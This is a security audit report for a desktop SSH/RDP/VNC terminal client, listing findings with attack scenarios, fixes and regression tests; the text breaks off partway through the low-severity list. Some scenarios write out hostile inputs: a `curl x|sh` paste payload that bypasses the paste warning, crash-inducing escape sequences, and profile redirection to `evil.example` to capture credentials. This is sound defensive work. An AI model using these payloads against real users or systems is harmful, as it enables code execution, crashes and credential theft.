# Security Audit Report Nexus Terminal 3.0.1 (`master` at `b6a7d51` when the audit started, `c8ab4d6` after the fixes). Audit started 2026-10-12 22:01 local time. ## 1. Executive Summary Nexus Terminal is a native desktop client (Rust, egui) for SSH/SFTP, Telnet, RAW TCP, Serial, VNC, RDP, IRC, GitHub and local shells. It has no server side apart from a small PHP update-manifest endpoint. Every remote peer is untrusted. So are the sync folder and any imported file. The posture going in was reasonable: host keys are checked before authentication, secrets go to the OS keychain or an Argon2id + AES-256-GCM vault, parsers have size caps, there is no `unsafe` outside tests, process hardening is on in release builds, and SQL is parameterised. This review found that the newest features (profile sync, inline images, RDP devices and clipboard, SSH certificate authorities) and some older parsers still had remotely triggerable denial-of-service paths and trust gaps. **Highest-risk issues (all fixed in this run):** - **Remote, zero-click whole-app crash.** Hovering any link that has a multi-byte character at byte 7 or 8 panicked the UI thread (SEC-001). - **Remote memory exhaustion.** A VNC zlib bomb (SEC-002) and RDP desktop sizes allocated before validation (SEC-012) could take the whole app down. Abort-on-OOM is not caught by the per-session panic guard. - **Remote UI freezes.** One hostile IRC line froze the app for minutes through quadratic OSC stripping (SEC-003). A crafted `@cert-authority` pattern in an imported known_hosts overflowed the stack on every SSH handshake (SEC-004). - **Profile sync trusted remote timestamps.** A future-dated record or tombstone won over every local correction indefinitely (SEC-005). Combined with credentials keyed by profile id, a sync peer could redirect an existing profile and receive its saved password or token without a prompt (SEC-006). - **Silent RDP clipboard exfiltration.** The local clipboard was offered to the server whenever the desktop gained focus (SEC-007). - **Jump hosts could use the forwarded agent.** Agent-forwarding and remote-forward channels were honoured on every hop, not just the target (SEC-008). **Still open (architectural):** - Unsigned update manifest and release artefacts (signing deferred by the owner). - The RDP "Allow servers without NLA" option permits an NLA→TLS downgrade that hands the password to a trust-on-first-use peer. - Login-script `send` values are plaintext in the profile model, and therefore in the DB, exports and the sync file. - A sync peer that holds the shared password can still change security-relevant fields (login scripts, host-key policy, agent forwarding, RDP shared folder, forwards). ## 2. Scope Reviewed - **Languages:** Rust 1.99 (edition 2024), PHP (`updates/index.php`), Bash (release and packaging), GitHub Actions YAML, LaTeX (docs only). - **Crates:** - `rust/core`: protocol clients, sessions, storage, secrets, sync, import/export, validation, updater. - `rust/app`: egui UI, terminal emulator glue, OSC handling, CLI. - `rust/fuzz`: five targets. - Vendored `picky`, `sspi`, `ironrdp-session`, `ironrdp-mstsgu`: diffed against the cargo-verified registry copies. - **Key dependencies:** russh 0.64.1 / ssh-key 0.7.0-rc.11 / rsa 0.10.0-rc.18, IronRDP 0.17, rustls 0.23 (ring), alacritty_terminal 0.26, egui/eframe 0.36, rusqlite 0.37 (bundled SQLite), keyring 3, argon2 0.5, aes-gcm 0.10, ureq 3, image 0.25. - **Config and deployment:** `.github/workflows/{ci,fuzz,release-builds}.yml`, `release.sh`, `rust/release.sh`, `rust/packaging/**`, `.gitignore`, `rust/.cargo/audit.toml`, migrations 001–008 (009 added). - **Tests:** `core/tests/{sessions,ssh_integration,sync}.rs`, and the unit tests in every module. - **Not present:** containers, IaC, a web frontend (the UI is native egui; there is no HTML/JS). ## 3. Methodology - Git safety first: the repository existed; the working tree had only the in-progress 3.0.1 docs, which were committed separately beforehand (`b6a7d51`). - Attack-surface mapping by trust boundary, then seven parallel deep reviews: - secrets and crypto; - SSH/SFTP/proxies; - RDP plus the vendored patches; - VNC/Telnet/RAW/Serial/local; - IRC/GitHub/updater/PHP; - terminal/UI/CLI; - storage/model/supply chain. - Every reported finding was re-verified against the code before fixing. Two were confirmed as false positives (see §21). - Measurements: the IRC OSC loop was benchmarked with a verbatim copy (64 KiB → 1.8 s, 256 KiB → 27 s, 1 MiB did not finish in 300 s). The CA glob was reproduced (200 000 `*` → stack overflow; `*a*a*…b` → 6.2 s). The VNC inflate bomb was reproduced (509 KiB → 512 MiB, 1.05 GiB RSS). - Dependency review: `cargo audit` on both lockfiles; `cargo tree -d`; action SHAs verified via the GitHub API; vendored crates diffed. - Git history scanned for key material. All hits are upstream test fixtures in vendored crates, or detection strings in `keyfiles.rs`. - Every fix landed with a regression test and was gated on `cargo fmt --check`, `cargo clippy --all-targets -D warnings` and `cargo test --workspace`. - Smoke test: the release binary opened a real schema-8 data directory, migrated it to 9 and ran a local shell. ## 4. Risk Rating Method - **Severity** = impact × reachability for this product. A desktop client's worst outcomes are code execution on the user's machine, credential disclosure, or loss of all open sessions. - **High:** remote, no or trivial user interaction, crashes or freezes the whole app, or discloses credentials. - **Medium:** remote with a precondition (a hostile server the user chose to connect to, a sync peer, an imported file), or local data exposure. - **Low:** needs local access or an unusual configuration, or is defence in depth. - **Confidence:** High = reproduced or unambiguous in code; Medium = depends on runtime or platform behaviour; Low = plausible, unverified. ## 5. Attack Surface Map | Boundary | Entry points | Attacker position | |---|---|---| | Remote terminal bytes | VT parser (alacritty), OSC 7/8/52/133/1337 scanner (`app/src/osc.rs`), URL detection, trigger regexes, recordings | Any SSH/Telnet/RAW/Serial peer, MITM on Telnet/RAW | | Protocol parsers | SSH (russh), SFTP listings, SOCKS5/HTTP CONNECT replies, Telnet IAC, VNC RFB + encodings, RDP (IronRDP) + RDPDR/CLIPRDR/RDPSND, IRC lines/CAP/SASL, GitHub JSON, update manifest | Hostile server, hostile proxy, MITM where unencrypted | | Device redirection | RDP shared folder, printer spool, clipboard | Hostile RDP server | | Shared folder | `nexus-profiles.nexus` sync file | Another machine in the sync group, anyone with write access plus the sync password | | Imported files | `.nexus`, JSON, `~/.ssh/config`, `known_hosts`, `.cast` | Whoever supplied the file | | Local | Data dir (`nexus.db`, vault, recordings, log), keychain, argv/env, temp files in shared folders | Same-user malware, other local users, backups | | Build/release | GitHub Actions, vendored crates, dixon.cx download/update host | Compromised dependency, compromised host | Data stores: SQLite (`nexus.db`: profiles, known hosts, snippets, preferences, audit log, IRC state), `vault/vault.json`, OS keychain (service `NexusTerminal`), recordings (`.cast`), `nexus.log`, `triggers.json`, `sftp-bookmarks.json`. ## 6. Findings Summary Table | ID | Severity | Confidence | Title | Component | Status | |---|---|---|---|---|---| | SEC-001 | High | High | Hovering a non-ASCII link panics the UI thread | `app/src/widgets.rs` `is_web_url` | Fixed `d6f8f33` | | SEC-002 | High | High | VNC ZRLE/Tight zlib inflation unbounded (OOM) | `core/src/clients/vnc.rs` `inflate` | Fixed `00f110f` | | SEC-003 | High | High | Quadratic OSC stripping freezes the UI on one IRC line | `core/src/ircformat.rs` | Fixed `7f3704e` | | SEC-004 | Medium | High | Recursive CA host-pattern glob: stack overflow / exponential time | `core/src/known_hosts.rs` `glob` | Fixed `0bcfe64` | | SEC-005 | High | High | Sync trusts remote timestamps: future-dated records win forever | `core/src/sync.rs` `merge` | Fixed `76bd664` | | SEC-006 | Medium | High | Synced/imported profile can be retargeted and receive saved credentials | `core/src/service.rs` sync/import | Fixed `c8ab4d6` | | SEC-007 | Medium | High | RDP offers the local clipboard on every focus | `app/src/desktop_view.rs` | Fixed `eb8f08a` | | SEC-008 | Medium | High | Agent-forward / remote-forward channels honoured from jump hosts | `core/src/clients/ssh.rs` `Handler` | Fixed `0bcfe64` | | SEC-009 | Medium | High | `write_private` temp file predictable and not O_EXCL | `core/src/secrets.rs` | Fixed `76bd664` | | SEC-010 | Medium | Medium-High | Paste confirmation bypassed by control characters (C-o, C-d, ESC) | `app/src/terminal.rs` `paste` | Fixed `d6f8f33` | | SEC-011 | Medium | High | Inline images decoded before the size budget is checked | `app/src/terminal.rs` `place_image` | Fixed `d6f8f33` | | SEC-012 | Medium | Medium | RDP desktop size allocated before validation (abort) | `core/src/clients/rdp.rs` `run` | Fixed `eb8f08a` | | SEC-013 | Medium | High | RDP drive reads allocate a server-chosen u32 length | `core/src/clients/rdp_devices.rs` | Fixed `eb8f08a` | | SEC-014 | Medium | High | IRC passwords (PASS/SASL/NickServ) sent over plaintext | `core/src/clients/irc.rs` | Fixed `7f3704e` | | SEC-015 | Medium | High | Telnet/RAW writes block forever under the stream lock (UI wedge, unclosable tab) | `core/src/clients/mod.rs` `TcpConn` | Fixed `00f110f`, race fixed `7f3704e` | | SEC-016 | Medium | High | Non-transactional table-rebuild migrations can brick the DB | `core/src/storage.rs` `migrate` | Fixed `13ca82a` | | SEC-017 | Medium | High | Release workflow: build scripts run with a persisted `contents: write` token | `.github/workflows/release-builds.yml` | Fixed `400d11e` | | SEC-018 | Medium | High | Update manifest and release artefacts unsigned | `core/src/updater.rs`, release pipeline | Open (signing deferred by owner); SHA256SUMS now published | | SEC-019 | Medium | High | RDP "Allow servers without NLA" permits NLA→TLS downgrade | `core/src/clients/rdp.rs` | Open | | SEC-020 | Medium | High | Login-script passwords plaintext in DB, exports and the sync file | `core/src/models.rs` `LoginScriptStep` | Open (documented honestly in `76bd664`) | | SEC-021 | Medium | Medium | Sync peer can change security-relevant profile fields silently | `core/src/sync.rs`, `service.rs` | Open (credential part fixed by SEC-006) | | SEC-022 | Medium | Medium | Remote clipboard toast showed only the first line (spoofable) | `app/src/app.rs` | Fixed `d6f8f33` (default still allows writes) | | SEC-023 | Low | High | Remote forwards bound to `0.0.0.0` by default | `core/src/clients/ssh.rs` | Fixed `0bcfe64` | | SEC-024 | Low | High | Known-host lookup ignores key type (false "changed key" after import) | `core/src/storage.rs` | Fixed `0bcfe64` | | SEC-025 | Low | High | Keyboard-interactive unbounded rounds; no timeouts on jump dials / `run_command` | `core/src/clients/ssh.rs` | Fixed `0bcfe64` | | SEC-026 | Low | High | Handshake timeout shorter than the host-key prompt | `core/src/clients/ssh.rs` | Fixed `0bcfe64` | | SEC-027 | Low | Medium | SFTP save dialog prefilled with an unsanitised server filename | `app/src/sftp.rs` | Fixed `0bcfe64` | | SEC-028 | Low | High | IRC self-JOIN / CAP LS state growth | `core/src/clients/irc.rs` | Fixed `7f3704e` | | SEC-029 | Low | High | Telnet replies to every DONT/WONT (ping-pong, amplification); NAWS 0xFF unescaped | `core/src/clients/telnet.rs` | Fixed `00f110f` | | SEC-030 | Low | High | VNC close/input starved by a continuously streaming server | `core/src/clients/vnc.rs` `Conn` | Fixed `00f110f` | | SEC-031 | Low | High | Local shell panics on non-UTF-8 environment entries | `core/src/clients/local.rs` | Fixed `00f110f` | | SEC-032 | Low | High | Print jobs truncate each other; unbounded open jobs | `core/src/clients/rdp_devices.rs` | Fixed `eb8f08a` | | SEC-033 | Low | High | Secret reads returned plain `String`s; sync password fetched every frame | `core/src/secrets.rs`, `service.rs` | Fixed `76bd664`; UI buffers still open | | SEC-034 | Low | High | Legacy Go-era `proxyPassword`/`totpSecret` left in `ssh_config` JSON | DB | Fixed `13ca82a` (migration 009 + VACUUM) | | SEC-035 | Low | High | `nexus.db` / WAL created with default mode; no `secure_delete` | `core/src/storage.rs` | Fixed `13ca82a` | | SEC-036 | Low | High | Profile id free text used as the keychain key namespace | `core/src/validation.rs` | Fixed `13ca82a` | | SEC-037 | Low | High | Hosts admitted NUL/control characters; jump/forward hosts unvalidated | `core/src/validation.rs` | Fixed `13ca82a` | | SEC-038 | Low | High | `--answer` puts secrets on argv and answers any prompt | `app/src/main.rs` | Fixed `c8ab4d6` (needs `--screenshot`) | | SEC-039 | Low | High | Toast queue unbounded (trigger/OSC 52 floods) | `app/src/state.rs` | Fixed `d6f8f33` | | SEC-040 | Low | High | `~/.ssh` created with the default mode by key generation | `core/src/clients/ssh.rs` | Fixed `76bd664` | | SEC-041 | Low | High | `updates/index.php` TypeErrors on array parameters | `updates/index.php` | Fixed `400d11e` | | SEC-042 | Low | High | CI tooling unpinned; fuzz lockfile unaudited; no fuzz timeout | workflows | Fixed `400d11e` | | SEC-043 | Low | High | RUSTSEC-2023-0071 `rsa` Marvin (via russh) | `Cargo.lock` | Open (no upstream fix; ignored with reason) | | SEC-044 | Low | High | Event channel to the UI unbounded while the UI thread is blocked | `app/src/app.rs` | Open | | SEC-045 | Low | High | Serial write/break hold the port lock on the UI thread | `core/src/clients/serial.rs` | Open | | SEC-046 | Low | Medium | Kerberos KDC always dialled directly (bypasses proxy/tunnel) | `core/src/clients/rdp.rs` | Open (documented) | | SEC-047 | Low | High | RDP: SVC chunk reassembly unbounded (upstream ironrdp-svc) | dependency | Open (upstream) | | SEC-048 | Low | High | Keychain entries global per OS user, not per data dir | `core/src/secrets.rs` | Open (accepted; compatibility) | | SEC-049 | Info | High | Vault entries not bound to their key name (no AAD); version byte unauthenticated | `core/src/secrets.rs`, `exportimport.rs` | Open (hardening for next format bump) | | SEC-050 | Info | High | Verified-absent classes (see §7.50) | workspace | Clean | ## 7. Detailed Findings Each finding has the 14 headings the format calls for. Where a heading would only restate the summary table it is folded into one line, to keep this document reviewable. ### Finding ID: SEC-001 #### Title Hovering a link with a multi-byte character at byte 7/8 panics the UI thread #### Severity High #### Confidence High (reproduced with a verbatim copy) #### Affected Files / Components `rust/app/src/widgets.rs` `is_web_url` (was lines 131-134). Callers: `terminal.rs` OSC 8 hover tooltip, Cmd-hover URL detection, `open_web_url`, `github_view.rs`, `settings.rs` (update link). #### Description `&u[..8]` slices a `str` at a byte offset. If that offset falls inside a multi-byte character, Rust panics. The panic unwinds out of `App::ui`, and nothing catches it. #### Evidence ```rust (u.len() > 8 && u[..8].eq_ignore_ascii_case("https://")) || (u.len() > 7 && u[..7]...) ``` #### Attack Scenario A server prints `printf '\e]8;;mailto:ü@x\e\\docs\e]8;;\e\\'` or `echo http://über.example`. The user moves the mouse over it, and the process exits with every session. #### Impact Remote denial of service for the whole app. Shutdown cleanup (session close, vault lock) is skipped. #### Recommendation Compare bytes (`as_bytes()` plus `eq_ignore_ascii_case` on slices). #### Safer Example ```rust let u = url.trim().as_bytes(); let starts = |p: &[u8]| u.len() > p.len() && u[..p.len()].eq_ignore_ascii_case(p); starts(b"https://") || starts(b"http://") ``` #### Suggested Tests Added to `only_web_urls_are_opened`: `http://über.example/` (ok), `mailto:ü@x`, `http:/üüü`, `ftp://é` (refused, no panic). #### References CWE-248 (uncaught exception), CWE-135. #### Assumptions / Limitations None. ### Finding ID: SEC-002 #### Title VNC ZRLE/Tight zlib inflation has no output bound #### Severity High #### Confidence High (reproduced: 509 KiB → 512 MiB, 1.05 GiB RSS) #### Affected Files / Components `rust/core/src/clients/vnc.rs` `inflate`, ZRLE and Tight callers. #### Description Input was capped (64 MiB ZRLE, 4 MiB Tight), but output was not. The Vec doubled until allocation failure, which aborts the process rather than panicking, so the per-session guard can't contain it. #### Evidence `out.reserve(64 << 10)` inside an unbounded loop. #### Attack Scenario Any VNC server the user connects to, or a MITM on direct VNC, sends one ZRLE rectangle containing a sync-flushed zlib stream of zeros. #### Impact The OOM killer takes the whole app. #### Recommendation Cap inflation at the rectangle's maximum legitimate size and release large scratch buffers. #### Safer Example `inflate(z, input, out, max_inflated(w, h))`, where `max_inflated = w*h*4 + tiles*(1+128*4)`; Tight uses its exact `size`. #### Suggested Tests `inflate_refuses_zlib_bombs` (64 MiB of zeros for a 4×4 rect is refused and capacity stays < 1 MiB; a legitimate rect still inflates). #### References CWE-409 (decompression bomb), CWE-789. #### Assumptions / Limitations The VNC fuzz target is unlikely to find this unaided. Seed its corpus with valid zlib streams. ### Finding ID: SEC-003 #### Title Quadratic OSC stripping in `ircformat` freezes the UI #### Severity High #### Confidence High (measured) #### Affected Files / Components `rust/core/src/ircformat.rs` `strip_terminal_escapes`, run on the UI thread from `IrcView::append`. #### Description For an unterminated `ESC ]`, the loop advanced two bytes and rescanned the rest twice (`find` and `rfind`). #### Evidence `None => { s.push_str(&rest[..pos + 2]); rest = body; }` #### Attack Scenario The server, or a MITM on plaintext IRC, sends a PRIVMSG made of `"\x1b]"` repeated. Lines were allowed up to 1 MiB. #### Impact Whole-app freeze for minutes per line. #### Recommendation If no terminator follows an OSC, none can follow a later one either, so stop. Separately, cap IRC lines at a realistic size. #### Safer Example `None => break,`; `MAX_LINE_BYTES = 64 << 10`. #### Suggested Tests `unterminated_osc_runs_are_linear` (500 000 repetitions in under 2 s). The fuzz workflow now passes `-timeout=10`. #### References CWE-407 (algorithmic complexity), CWE-1333. #### Assumptions / Limitations None. ### Finding ID: SEC-004 #### Title CA host-pattern glob: stack overflow and exponential backtracking on every SSH handshake #### Severity Medium #### Confidence High (reproduced) #### Affected Files / Components `rust/core/src/known_hosts.rs` `glob` / `pattern_matches` / `authorities_for`, called from `ssh.rs` `handshake` on every hop. Patterns enter through known_hosts import and Trust a CA. #### Description A recursive, backtracking matcher with no length limit. #### Evidence Recursive `glob(&p[1..], s) || glob(p, &s[1..])`. #### Attack Scenario A shared `known_hosts` containing `@cert-authority ***…(200k) ` is imported once. From then on every SSH connect overflows the 2 MiB connect-thread stack (the process aborts), or burns CPU for minutes with `*a*a*…b`. #### Impact Persistent, total loss of SSH until the row is removed. #### Recommendation Use an iterative two-pointer wildcard match, and cap pattern length at 1 KiB on import and on Trust a CA. #### Safer Example See the new `glob` in `known_hosts.rs`. #### Suggested Tests `hostile_patterns_match_in_linear_time` (runs on a 256 KiB stack; also covers semantics). #### References CWE-674, CWE-1333. #### Assumptions / Limitations None. ### Finding ID: SEC-005 #### Title Profile sync trusts remote timestamps; a future-dated record or tombstone wins indefinitely #### Severity High (precondition: write access to the shared folder plus the sync password) #### Confidence High #### Affected Files / Components `rust/core/src/sync.rs` `merge`; `service.rs` `sync_profiles`, which runs every 10 minutes and 3 s after any edit. #### Description `updated_at` and tombstone times from the shared file were compared raw. A record dated 2099 beats every later local edit. A tombstone dated 2099 keeps deleting a re-created profile and its saved credentials. #### Evidence `if r.updated_at > l.updated_at { … }` and `deleted.get(id).is_some_and(|t| *t >= winner.updated_at)`. #### Attack Scenario One compromised machine in the sync group, or someone who brute-forces a weak sync password offline, writes a file with a forged profile dated in the future. #### Impact A persistent, user-unfixable profile takeover, or fleet-wide deletion of profiles and credentials. #### Recommendation Clip remote times to the local clock, and let an edit win a tie with a deletion. #### Safer Example `p.updated_at = p.updated_at.min(now)`, tombstones `.min(now)`, deletion only if `t > winner.updated_at`. #### Suggested Tests `future_dated_records_cannot_win_forever`. #### References CWE-345 (insufficient verification of data authenticity), CWE-367. #### Assumptions / Limitations A peer with the password can still make ordinary, current-dated edits. See SEC-006 and SEC-021. ### Finding ID: SEC-006 #### Title A synced or imported profile can be retargeted and receive the saved credentials of the profile it replaces #### Severity Medium #### Confidence High #### Affected Files / Components `rust/core/src/service.rs` `sync_profiles` and `import` ("overwrite"); credentials are keyed `profile::`. #### Description An incoming profile with the same id but a different host, user, GitHub API URL, gateway or jump host inherited the local saved password or token. In `Saved` mode it was sent without a prompt. #### Evidence `update_profile(&p)` with no comparison against the old target. #### Attack Scenario A sync peer changes the "Prod DB" profile's host to `evil.example`, or a GitHub profile's `baseURL` to `https://evil.example/api/v3`. The next connect sends the saved credential to the attacker. The host-key prompt shows the new host, but the sidebar name is unchanged, and GitHub has no prompt at all. #### Impact Credential disclosure. #### Recommendation When a sync or import changes the connection target, forget that profile's saved credentials (audited) so the user is asked again. #### Safer Example `forget_credentials_if_retargeted(old, new, via)` in `service.rs`. #### Suggested Tests `core/tests/sync.rs` now asserts that A's saved password is gone after B repoints the host. #### References CWE-522, CWE-441 (confused deputy). #### Assumptions / Limitations Edits in the local editor keep credentials, which is deliberate: renaming a server is normal. ### Finding ID: SEC-007 #### Title RDP offered the local clipboard to the server whenever the desktop gained focus #### Severity Medium #### Confidence High #### Affected Files / Components `rust/app/src/desktop_view.rs` `draw`; `core/src/clients/rdp.rs` `TextClipboard`. #### Description Focusing the desktop announced CF_UNICODETEXT, and any Format Data Request returned the clipboard. The outbound direction had no preference gate. #### Evidence `if focused && !self.had_focus … c.set_clipboard(text)` #### Attack Scenario The user copies a password from a password manager, then clicks into an RDP tab. The server reads it. #### Impact Silent clipboard exfiltration. #### Recommendation Share only on an explicit paste (Ctrl/Cmd+V or Paste Clipboard). #### Safer Example The focus-time block was removed; `Event::Paste` still calls `paste()` before the keystroke. #### Suggested Tests View-level focus test not added (egui harness limits); covered by code review. The paste path is unchanged. #### References CWE-200, CWE-359. #### Assumptions / Limitations None. ### Finding ID: SEC-008 #### Title Agent-forward and remote-forward channels accepted from jump hosts #### Severity Medium #### Confidence High #### Affected Files / Components `rust/core/src/clients/ssh.rs` `Handler::server_channel_open_agent_forward` / `server_channel_open_forwarded_tcpip`. State lived on `Shared`, which is common to all hops. #### Description Once agent forwarding was enabled for the target, any hop's server could open `auth-agent@openssh.com` and sign with the user's keys. Any hop could also open `forwarded-tcpip` to configured remote-forward destinations on the client machine. #### Evidence `let handler = Handler { …, shared: self.shared.clone(), cas }` for every hop. #### Attack Scenario An untrusted bastion in `jump_hosts`, with agent forwarding on for the target. #### Impact Authentication as the user wherever the agent's keys are trusted; access to local services behind remote forwards. #### Recommendation A per-hop `target` flag; only the final hop may open these channels (the same behaviour as `ssh -J`). #### Safer Example `if !self.target || !agent_forwarding { reject }` #### Suggested Tests Recommended: a two-sshd integration test in which an agent channel opened from the jump host is refused. Not added in this run because CI lacks a second sshd fixture. #### References CWE-284, CWE-441. #### Assumptions / Limitations None. ### Finding ID: SEC-009 #### Title `write_private` temp file was predictable and not created exclusively #### Severity Medium #### Confidence High #### Affected Files / Components `rust/core/src/secrets.rs` `write_private` (vault, exports, sync file, JSON exports). #### Description The temp name was `..tmp-`, opened with `create(true).truncate(true)`. That follows a pre-placed symlink, and the 0600 mode is ignored for an existing file. #### Attack Scenario In a shared sync folder, another user plants a symlink at the predictable name. The next sync clobbers the symlink's target, and the rename then swaps the symlink in. #### Impact Arbitrary file overwrite with the victim's permissions; ciphertext may land in a readable file. #### Recommendation `create_new(true)` with a random 64-bit suffix, retried on `AlreadyExists`. #### Suggested Tests `write_private_never_follows_links_or_leaves_temp_files`. #### References CWE-377, CWE-59. #### Assumptions / Limitations Windows has no symlink equivalent for unprivileged users by default. ### Finding ID: SEC-010 #### Title Multi-line paste confirmation bypassed by other control characters #### Severity Medium #### Confidence Medium-High (depends on shell keybindings) #### Affected Files / Components `rust/app/src/terminal.rs` `paste`; `chrome.rs` ConfirmPaste preview. #### Description Only `\n`/`\r` triggered the dialog. Outside bracketed paste, `0x0F` (readline `operate-and-get-next`) runs the line, `0x04` exits, and `ESC…` drives macros. #### Attack Scenario A web page's copy text is `curl x|sh\x0f`; the user pastes it into a shell without bracketed paste. #### Impact Command execution without the warning the user relies on. #### Recommendation Require confirmation for any control character except tab, and show control characters escaped in the preview. #### Suggested Tests Extended `remote_clipboard_and_multiline_paste_go_to_the_app`. #### References CWE-150, CWE-451. #### Assumptions / Limitations Bracketed paste was already safe: ESC is stripped and no prompt is needed. ### Finding ID: SEC-011 #### Title Inline images decoded before the per-terminal budget was enforced #### Severity Medium #### Confidence High #### Affected Files / Components `rust/app/src/terminal.rs` `place_image`. #### Description The decoder accepted 8192² images (67 Mpx, about 256 MiB). The decode ran synchronously on the UI thread, then the eviction loop kept the new image even though it alone exceeded the 32 Mpx budget. A solid-colour 8192² PNG is about 100 KB on the wire. #### Recommendation Read dimensions from the header first, refuse anything over `MAX_IMAGE_PIXELS`, and set `max_alloc` to match. #### Suggested Tests `oversized_inline_images_are_refused_before_decoding`. #### References CWE-400, CWE-789. #### Assumptions / Limitations Decoding still happens on the UI thread. Moving it to a worker is a next step. ### Finding ID: SEC-012 #### Title RDP desktop size allocated before validation #### Severity Medium #### Confidence Medium (outcome depends on overcommit) #### Affected Files / Components `rust/core/src/clients/rdp.rs` `run` (connect and reactivation). #### Description `DecodedImage::new(w, h)` (up to 16 GiB) ran before `Framebuffer::new_checked`'s 64 Mpx cap. #### Recommendation Swap the order. Done in both places. #### Suggested Tests Recommended: a fake connector result with 65535×65535 returns an error. The order change was verified by reading the code. #### References CWE-789. #### Assumptions / Limitations None. ### Finding ID: SEC-013 #### Title RDP drive read length taken from the server #### Severity Medium #### Confidence High #### Affected Files / Components `rust/core/src/clients/rdp_devices.rs` `ConfinedDrive::handle`. Upstream `ironrdp-rdpdr-native` allocates `vec![0; length]`. #### Description `DeviceReadRequest.length` (u32) was passed through, so each request could allocate 4 GiB. #### Recommendation Clamp to 8 MiB; a short read is valid RDPDR. #### Suggested Tests Recommended: a unit test on the clamp. #### References CWE-789. #### Assumptions / Limitations Only reachable when a shared folder is configured. ### Finding ID: SEC-014 #### Title IRC passwords sent over plaintext connections #### Severity Medium #### Confidence High #### Affected Files / Components `rust/core/src/clients/irc.rs` (`run` PASS, `handle_cap` SASL, `identify_with_nickserv`). #### Recommendation Send them only over TLS, an SSH tunnel or a loopback server; otherwise emit an error event explaining why. #### Suggested Tests `credentials_need_tls_a_tunnel_or_loopback`. The existing SASL test still passes over loopback. #### References CWE-319. #### Assumptions / Limitations This is a behaviour change: plaintext networks that require a password now refuse to log in until TLS or a tunnel is used. ### Finding ID: SEC-015 #### Title Telnet/RAW writes could block forever under the stream lock #### Severity Medium #### Confidence High #### Affected Files / Components `rust/core/src/clients/mod.rs` `TcpConn`. #### Description There was no write timeout, and `close()` needed the same lock. A peer that stops reading while flooding negotiation requests made the reader thread block in `write_all`, wedging the UI's next keystroke and the tab close. #### Recommendation A 10 s write timeout; a second socket handle to shut down without the lock; a `closing` flag so the reader doesn't report our own close. #### Suggested Tests Existing close tests, stress-run 15×. #### References CWE-833, CWE-400. #### Assumptions / Limitations `00f110f` briefly introduced a close race (a spurious "read error"), caught by the existing test and fixed in `7f3704e`. ### Finding ID: SEC-016 #### Title Non-transactional table-rebuild migrations #### Severity Medium #### Confidence High #### Affected Files / Components `rust/core/src/storage.rs` `migrate`; migrations 002/004/005/007/008. #### Description `execute_batch` ran each statement in autocommit. A crash between `DROP TABLE profiles` and the rename left a database that failed on every launch. #### Recommendation One transaction per migration. #### Suggested Tests `a_failed_migration_rolls_back_and_legacy_secrets_are_purged`. #### References CWE-662. #### Assumptions / Limitations None. ### Finding ID: SEC-017 #### Title Release workflow ran dependency code with a persisted write token #### Severity Medium #### Confidence High #### Affected Files / Components `.github/workflows/release-builds.yml`. #### Recommendation Build jobs get `contents: read` and `persist-credentials: false`. A separate publish job (no project code) uploads the artefacts plus a new `SHA256SUMS`. #### References CWE-269; OpenSSF Scorecard "Token-Permissions". #### Assumptions / Limitations Releases now wait for all platforms to build. ### Finding ID: SEC-018 #### Title Update manifest and binaries unsigned #### Severity Medium #### Confidence High #### Affected Files / Components `core/src/updater.rs`, `rust/release.sh`, dixon.cx hosting. #### Description The client is check-only (it never downloads or runs anything), uses HTTPS with webpki roots and a 1 MiB cap, never advertises a downgrade, and only opens http(s) links. A compromised dixon.cx could still advertise a trojan "update" link. #### Recommendation Sign the manifest (minisign/ed25519, public key embedded) and the artefacts; use `https_only(true)`; cap displayed strings. #### References CWE-494, CWE-347. #### Assumptions / Limitations The owner deferred signing. ### Finding ID: SEC-019 #### Title "Allow servers without NLA" permits an NLA→TLS downgrade #### Severity Medium #### Confidence High #### Affected Files / Components `rust/core/src/clients/rdp.rs` (`enable_tls: c.allow_tls_only`, `autologon`). #### Description With the option on, a MITM selects SSL-only. CredSSP is skipped, and the password goes in the Client Info PDU to a peer whose certificate is only TOFU-pinned. #### Recommendation Remember per known host that NLA succeeded and refuse TLS-only afterwards, and/or only autologon when HYBRID was selected. #### Suggested Tests A fake server selecting SSL after a prior HYBRID connection must fail. #### References CWE-757 (algorithm downgrade). #### Assumptions / Limitations Off by default; the tooltip says "less secure". Left open because it needs a known-hosts schema addition and a UX decision. ### Finding ID: SEC-020 #### Title Login-script passwords are plaintext profile data #### Severity Medium #### Confidence High #### Affected Files / Components `core/src/models.rs` `LoginScriptStep`; `storage.rs` (`ssh_config`/`telnet_config` JSON); encrypted export; sync file. #### Recommendation Resolve `send` steps that follow a password prompt from the secret store at run time (a new `SecretKind`), or support a `{{password}}` placeholder. #### Assumptions / Limitations Wording in the UI, the audit log and the docs was corrected in `76bd664`, so the product no longer claims these never sync. `secure_delete` (SEC-035) now removes edited values from free pages. ### Finding ID: SEC-021 #### Title A sync peer can change security-relevant profile fields silently #### Severity Medium #### Confidence Medium #### Affected Files / Components `sync.rs`, `service.rs` `sync_profiles`, `validation.rs`. #### Description Fields a sync peer can change unseen: `login_scripts`, `startup_command`, `host_key_policy` (Insecure), `agent_forwarding`, `port_forwards`, `rdp.shared_folder`. Validation checks shape, not intent. #### Recommendation Summarise what changed after a pull and require approval for those fields, or sign sync records per machine (an ed25519 key per install, exchanged once). #### Assumptions / Limitations The credential-redirect part is closed by SEC-006. ### Finding ID: SEC-022 #### Title Remote clipboard toast spoofable #### Severity Medium #### Confidence High #### Affected Files / Components `app/src/app.rs` `remote_clipboard`. #### Description The toast showed 60 characters of the first line only. #### Recommendation Escape control characters and state the line count (done, with a test). Consider defaulting `allow_remote_clipboard` to off. #### References CWE-451. ### Finding ID: SEC-023 – SEC-042 (Low; fixed) The following Low findings were fixed with the smallest change and, where practical, a test. - **SEC-023, remote forwards on all interfaces.** An empty bind host now means `localhost`, matching `ssh -R`. Docs updated. - **SEC-024, known-host lookup ignored key type.** Lookup is now per `(host, port, key_type)`; test `known_hosts_are_looked_up_per_key_type`. - **SEC-025, unbounded auth rounds and missing timeouts.** - Keyboard-interactive is capped at 10 rounds. - Dials through jump hosts have timeouts. - `run_command` has a 30 s timeout. - **SEC-026, handshake timeout vs host-key prompt.** The handshake timeout now includes the 60 s prompt window. - **SEC-027, SFTP save dialog name.** The suggested name is sanitised with `safe_sftp_upload_name`. - **SEC-028, IRC state growth.** At most 500 channels; CAP LS is ignored after registration and capped at 1000 capabilities; test `spoofed_self_joins_and_cap_floods_are_bounded`. - **SEC-029, Telnet negotiation.** RFC 854 state tracking per option; NAWS doubles IAC; test `negotiation_replies_only_on_state_change`. - **SEC-030, VNC starvation.** Queued input and a local close are serviced after every read. - **SEC-031, non-UTF-8 environment.** `vars_os()` with lossy entries skipped. - 